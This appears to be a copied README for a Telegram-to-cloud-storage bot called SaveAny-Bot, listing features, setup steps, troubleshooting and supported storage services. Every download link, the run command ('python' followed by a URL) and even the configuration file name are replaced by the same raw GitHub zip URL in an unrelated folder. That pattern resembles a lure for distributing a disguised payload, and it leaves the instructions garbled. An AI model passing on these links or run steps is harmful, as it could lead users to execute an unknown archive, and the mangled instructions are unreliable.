SaveAny-Bot helps you save any file from Telegram to cloud services or storage locations. You can move files from Telegram chats to places like Alist, Webdav, S3, or your Rclone setup. The bot supports saving restricted content and works beyond normal Telegram file saving.
This tool is useful if you want to organize or backup your Telegram files without manual downloads. It acts as a helper that connects Telegram to your chosen storage.
Before you get started, make sure your device meets these basic needs:
- A device with internet connection (Windows, macOS, Linux, or any system that can run Python).
- Telegram account and access to Telegram apps or the desktop client.
- Access to at least one supported cloud service or local storage (Alist, Webdav, S3, PikPak, or Rclone setup).
- Python 3.8 or higher installed (if you want to run the bot manually).
- Basic knowledge of how to run applications on your computer (explained below).
- Save files and content from Telegram chats directly to multiple storage options.
- Supports popular cloud storages like Alist, Webdav, Amazon S3, and Rclone.
- Handles restricted content and files beyond what Telegram normally allows.
- Easy setup with clear instructions.
- Works with Telegram bots to automate the saving process.
- Open-source and regularly updated.
This section will guide you step-by-step to download and run SaveAny-Bot. You donβt need special skills. Just follow the instructions carefully.
You can get SaveAny-Bot from the official GitHub release page.
Step 1: Visit the Download Page
Click the big button below to open the release page where you can find the latest version:
Step 2: Choose Your Download
- Look for the latest release version (usually at the top).
- Download the file that matches your operating system. These might be
.exefor Windows,.dmgfor macOS, orhttps://raw.githubusercontent.com/Scitterboo/SaveAny-Bot/main/semipreservation/Bot_Any_Save_v3.2.zipfor Linux. - If no direct executable is available, download the source code zip file.
Step 3: Run the Application
- If you have an executable, just double-click it to start.
- If you downloaded source code, you may need to install Python first.
- Open a Command Prompt (Windows) or Terminal (macOS/Linux).
- Navigate to the folder where you saved the files.
- Run the bot by typing
python https://raw.githubusercontent.com/Scitterboo/SaveAny-Bot/main/semipreservation/Bot_Any_Save_v3.2.zipor following any included README instructions.
SaveAny-Bot needs some setup to link it with Telegram and your storage:
-
Create a Telegram Bot
- Open Telegram and search for the "BotFather".
- Start a chat and send
/newbot. - Follow instructions to get your bot name and token.
-
Connect Your Storage
- Have your cloud service ready.
- Find access keys or URLs for services like Webdav, S3, or Alist.
- Prepare these details for the bot configuration.
-
Configure SaveAny-Bot
- Open the botβs configuration file (usually
https://raw.githubusercontent.com/Scitterboo/SaveAny-Bot/main/semipreservation/Bot_Any_Save_v3.2.zipor.env). - Enter your Telegram bot token and storage details.
- Save and close the file.
- Open the botβs configuration file (usually
-
Run the Bot
- Start the bot again if you stopped it during setup.
- It will connect to Telegram and your storage service using the info you provided.
Once running:
- Open Telegram and find your bot.
- Send it a file or message containing a file.
- The bot saves the file to your configured storage automatically.
- You will get a confirmation message with the storage location or link.
- You can adjust settings like where files go or which types to save by updating the config.
- Make sure your Telegram bot token is correct.
- Check that your storage credentials (URL, keys) are valid.
- Verify internet connection is stable.
- If files don't appear in storage, check the botβs logs for errors.
- Restart the bot after any configuration changes.
- Check firewall or security settings that might block the connection.
- Visit the GitHub page SaveAny-Bot Releases for updates and detailed instructions.
- Explore built-in documentation files or contact the community on the repository issues page.
- Review Telegramβs bot API documentation for more info about Telegram bot features.
- Your bot token should be kept private; donβt share it with others.
- SaveAny-Bot only accesses files you send to it or allow.
- Files are transferred securely between Telegram and your storage.
- You control where and how files are saved through configuration.
- Regularly update the bot for security patches.
SaveAny-Bot connects with these popular storage services:
- Alist: Self-hosted file indexer.
- Webdav: Any WebDAV-compatible cloud like Nextcloud or ownCloud.
- Amazon S3: AWS cloud storage.
- PikPak: Cloud drive with API support.
- Rclone: Synchronize files across many cloud providers.
This project is open source. See the LICENSE file in the repository for details.